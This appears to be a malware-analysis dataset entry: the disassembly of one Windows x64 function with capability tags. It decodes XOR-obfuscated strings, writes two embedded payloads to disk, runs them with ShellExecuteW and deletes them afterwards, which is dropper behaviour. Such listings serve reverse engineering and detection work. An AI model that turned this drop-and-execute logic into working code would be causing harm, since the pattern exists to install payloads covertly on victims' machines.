Function at 0x140022f20
Capabilities:
Create process on windows
Delete file
Encode data using xor
Write and execute a file
Write file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x10]
sub rsp, 0x110
mov rax, qword [0x1400ddb80]
xor rax, rsp
mov qword [rbp + 8], rax
mov ecx, reloc.WLDAP32.dll_Ordinal_46
xor edx, edx
call fcn.140019500
movzx edi, ax
mov word [rsp + 0x40], ax
mov ecx, reloc.WS2_32.dll_WSAStartup
lea edx, [rcx - 0x72]
call fcn.140019500
mov word [rsp + 0x42], ax
mov ecx, 0x79
lea edx, [rcx - 0x77]
call fcn.140019500
mov word [rsp + 0x44], ax
mov ecx, reloc.WS2_32.dll_WSAStartup
lea edx, [rcx - 0x70]
call fcn.140019500
mov word [rsp + 0x46], ax
xor ecx, ecx
lea edx, [rcx + 4]
call fcn.140019500
movzx esi, ax
mov word [rsp + 0x48], ax
mov edx, 5
movzx ecx, word [0x14007c1fa]
call fcn.140019500
mov word [rsp + 0x4a], ax
mov edx, 6
movzx ecx, word [0x14007c1fc]
call fcn.140019500
mov word [rsp + 0x4c], ax
mov edx, 7
movzx ecx, word [0x14007c1fe]
call fcn.140019500
mov word [rsp + 0x4e], ax
mov edx, 8
movzx ecx, word [str..exe]
call fcn.140019500
mov word [rsp + 0x50], ax
xor eax, eax
mov word [rsp + 0x52], ax
xor r12d, r12d
mov edx, r12d
mov r13d, 0x133
nop dword [rax]
movsxd rax, edx
lea rcx, [rsp + 0x40]
lea rcx, [rcx + rax*2]
lea eax, [rdx + r13]
xor word [rcx], ax
inc edx
cmp edx, 9
jb 0x140023020
mov word [rsp + 0x52], r12w
xorps xmm0, xmm0
movups xmmword [rbp - 0x18], xmm0
mov qword [rbp - 8], r12
mov qword [rbp], r12
lea rax, [rsp + 0x40]
mov rbx, 0xffffffffffffffff
mov r8, rbx
nop
inc r8
cmp word [rax + r8*2], r12w
jne 0x140023060
lea rdx, [rsp + 0x40]
lea rcx, [rbp - 0x18]
call fcn.140019cb0
lea rdx, [rbp - 0x18]
lea rcx, [rbp - 0x38]
call fcn.140024a90
nop
mov word [rsp + 0x40], di
mov ecx, 0x65
lea edx, [rcx - 0x64]
call fcn.140019500
mov word [rsp + 0x42], ax
mov ecx, 0x78
lea edx, [rcx - 0x76]
call fcn.140019500
mov word [rsp + 0x44], ax
mov ecx, 0x65
lea edx, [rcx - 0x62]
call fcn.140019500
mov word [rsp + 0x46], ax
mov word [rsp + 0x48], si
mov edx, 5
movzx ecx, word [0x14007c20a]
call fcn.140019500
mov word [rsp + 0x4a], ax
mov edx, 6
movzx ecx, word [0x14007c20c]
call fcn.140019500
mov word [rsp + 0x4c], ax
mov edx, 7
movzx ecx, word [0x14007c20e]
call fcn.140019500
mov word [rsp + 0x4e], ax
mov edx, 8
movzx ecx, word [reloc.WLDAP32.dll_Ordinal_45]
call fcn.140019500
mov word [rsp + 0x50], ax
xor eax, eax
mov word [rsp + 0x52], ax
mov edx, r12d
nop dword [rax + rax]
movsxd rax, edx
lea rcx, [rsp + 0x40]
lea rcx, [rcx + rax*2]
lea eax, [rdx + r13]
xor word [rcx], ax
inc edx
cmp edx, 9
jb 0x140023130
mov word [rsp + 0x52], r12w
xorps xmm0, xmm0
movups xmmword [rsp + 0x60], xmm0
mov qword [rsp + 0x70], r12
mov qword [rsp + 0x78], r12
lea rax, [rsp + 0x40]
nop word [rax + rax]
inc rbx
cmp word [rax + rbx*2], 0
jne 0x140023170
mov r8, rbx
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x60]
call fcn.140019cb0
lea rdx, [rsp + 0x60]
lea rcx, [rbp - 0x58]
call fcn.140024a90
nop
mov ecx, reloc.WLDAP32.dll_Ordinal_45
xor edx, edx
call fcn.140019500
mov word [rsp + 0x40], ax
mov ecx, WSASetLastError
lea edx, [rcx - 0x6c]
call fcn.140019500
mov word [rsp + 0x42], ax
mov ecx, 0x61
lea edx, [rcx - 0x5f]
call fcn.140019500
mov word [rsp + 0x44], ax
mov ecx, reloc.WS2_32.dll_WSASetLastError
lea edx, [rcx - 0x6d]
call fcn.140019500
mov word [rsp + 0x46], ax
mov ecx, reloc.WLDAP32.dll_Ordinal_32
lea edx, [rcx - 0x1c]
call fcn.140019500
mov word [rsp + 0x48], ax
xor ecx, ecx
lea edx, [rcx + 5]
call fcn.140019500
movzx r15d, ax
mov word [rsp + 0x4a], ax
mov edx, 6
movzx ecx, word [0x14007c21c]
call fcn.140019500
mov word [rsp + 0x4c], ax
mov edx, 7
movzx ecx, word [0x14007c21e]
call fcn.140019500
mov word [rsp + 0x4e], ax
mov edx, 8
movzx ecx, word [0x14007c220]
call fcn.140019500
mov word [rsp + 0x50], ax
mov edx, 9
movzx ecx, word [reloc.WS2_32.dll_WSACleanup]
call fcn.140019500
mov word [rsp + 0x52], ax
mov edx, 0xa
movzx ecx, word [0x14007c224]
call fcn.140019500
mov word [rsp + 0x54], ax
xor eax, eax
mov word [rsp + 0x56], ax
mov edx, r12d
nop
movsxd rax, edx
lea rcx, [rsp + 0x40]
lea rcx, [rcx + rax*2]
lea eax, [rdx + r13]
xor word [rcx], ax
inc edx
cmp edx, 0xb
jb 0x140023280
mov word [rsp + 0x56], r12w
lea r8, [rbp - 0x38]
lea rdx, [rsp + 0x40]
lea rcx, [rbp - 0x18]
call fcn.14001b5b0
nop
lea rcx, [rbp - 0x38]
cmp qword [rbp - 0x20], 7
cmova rcx, qword [rbp - 0x38]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea rcx, [rbp - 0x58]
cmp qword [rbp - 0x40], 7
cmova rcx, qword [rbp - 0x58]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rdx, [rbp - 0x38]
lea rcx, [rsp + 0x60]
call fcn.140019f00
mov rbx, rax
mov dword [rbp - 0x60], r12d
mov rcx, rax
cmp qword [rax + 0x18], 7
jbe 0x140023308
mov rcx, qword [rax]
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 1
xor r9d, r9d
xor r8d, r8d
mov edx, 0x10000000
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x50
je 0x14002336a
cmp rdi, 0xffffffffffffffff
je 0x14002336a
mov qword [rsp + 0x20], r12
lea r9, [rbp - 0x60]
mov r8d, 0x2400
lea rdx, [0x14009a450]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rbx
call fcn.14000a5b0
lea rdx, [rbp - 0x58]
lea rcx, [rsp + 0x60]
call fcn.140019f00
mov rbx, rax
mov dword [rbp - 0x60], r12d
mov rcx, rax
cmp qword [rax + 0x18], 7
jbe 0x140023394
mov rcx, qword [rax]
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 1
xor r9d, r9d
xor r8d, r8d
mov edx, 0x10000000
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x50
je 0x1400233f6
cmp rdi, 0xffffffffffffffff
je 0x1400233f6
mov qword [rsp + 0x20], r12
lea r9, [rbp - 0x60]
mov r8d, 0x41200
lea rdx, [0x14009c850]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rbx
call fcn.14000a5b0
lea rax, [rsp + 0x60]
mov qword [rsp + 0x58], rax
lea rdx, [rbp - 0x18]
lea rcx, [rsp + 0x60]
call fcn.140019f00
mov rdi, rax
lea rdx, [rbp - 0x58]
lea rcx, [rbp - 0x80]
call fcn.140019f00
mov rbx, rax
mov r14, rdi
cmp qword [rdi + 0x18], 7
jbe 0x140023436
mov r14, qword [rdi]
mov rsi, rbx
cmp qword [rax + 0x18], 7
jbe 0x140023443
mov rsi, qword [rax]
mov ecx, WSACleanup
xor edx, edx
call fcn.140019500
mov word [rsp + 0x40], ax
mov ecx, 0x75
lea edx, [rcx - 0x74]
call fcn.140019500
mov word [rsp + 0x42], ax
mov ecx, WSASetLastError
lea edx, [rcx - 0x6c]
call fcn.140019500
mov word [rsp + 0x44], ax
mov ecx, 0x61
lea edx, [rcx - 0x5e]
call fcn.140019500
mov word [rsp + 0x46], ax
mov ecx, reloc.WS2_32.dll_WSAStartup
lea edx, [rcx - 0x6f]
call fcn.140019500
mov word [rsp + 0x48], ax
mov word [rsp + 0x4a], r15w
mov edx, 6
movzx ecx, word [0x14007c1ec]
call fcn.140019500
mov word [rsp + 0x4c], ax
mov edx, 7
movzx ecx, word [0x14007c1ee]
call fcn.140019500
mov word [rsp + 0x4e], ax
mov edx, 8
movzx ecx, word [reloc.WLDAP32.dll_Ordinal_46]
call fcn.140019500
mov word [rsp + 0x50], ax
mov edx, 9
movzx ecx, word [reloc.WS2_32.dll_WSAStartup]
call fcn.140019500
mov word [rsp + 0x52], ax
mov edx, 0xa
movzx ecx, word [0x14007c1f4]
call fcn.140019500
mov word [rsp + 0x54], ax
xor eax, eax
mov word [rsp + 0x56], ax
mov edx, r12d
nop word [rax + rax]
movsxd rax, edx
lea rcx, [rsp + 0x40]
lea rcx, [rcx + rax*2]
lea eax, [rdx + r13]
xor word [rcx], ax
inc edx
cmp edx, 0xb
jb 0x140023520
mov word [rsp + 0x56], r12w
mov dword [rsp + 0x28], r12d
mov qword [rsp + 0x20], r12
mov r9, r14
mov r8, rsi
lea rdx, [rsp + 0x40]
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
mov rcx, rbx
call fcn.14000a5b0
mov rcx, rdi
call fcn.14000a5b0
mov ecx, 0x1770
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [rbp - 0x38]
cmp qword [rbp - 0x20], 7
cmova rcx, qword [rbp - 0x38]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea rcx, [rbp - 0x58]
cmp qword [rbp - 0x40], 7
cmova rcx, qword [rbp - 0x58]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
nop
mov rdx, qword [rbp]
cmp rdx, 7
jbe 0x1400235e5
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x18]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400235df
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400235df
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140076f00
nop
mov rdx, qword [rbp - 0x40]
cmp rdx, 7
jbe 0x140023628
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140023623
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140023623
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140076f00
movdqa xmm0, xmmword [0x14007deb0]
movdqu xmmword [rbp - 0x48], xmm0
mov word [rbp - 0x58], r12w
mov rdx, qword [rbp - 0x20]
cmp rdx, 7
jbe 0x14002367d
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140023678
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140023678
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140076f00
mov rcx, qword [rbp + 8]
xor rcx, rsp
call fcn.140077020
lea r11, [rsp + 0x110]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret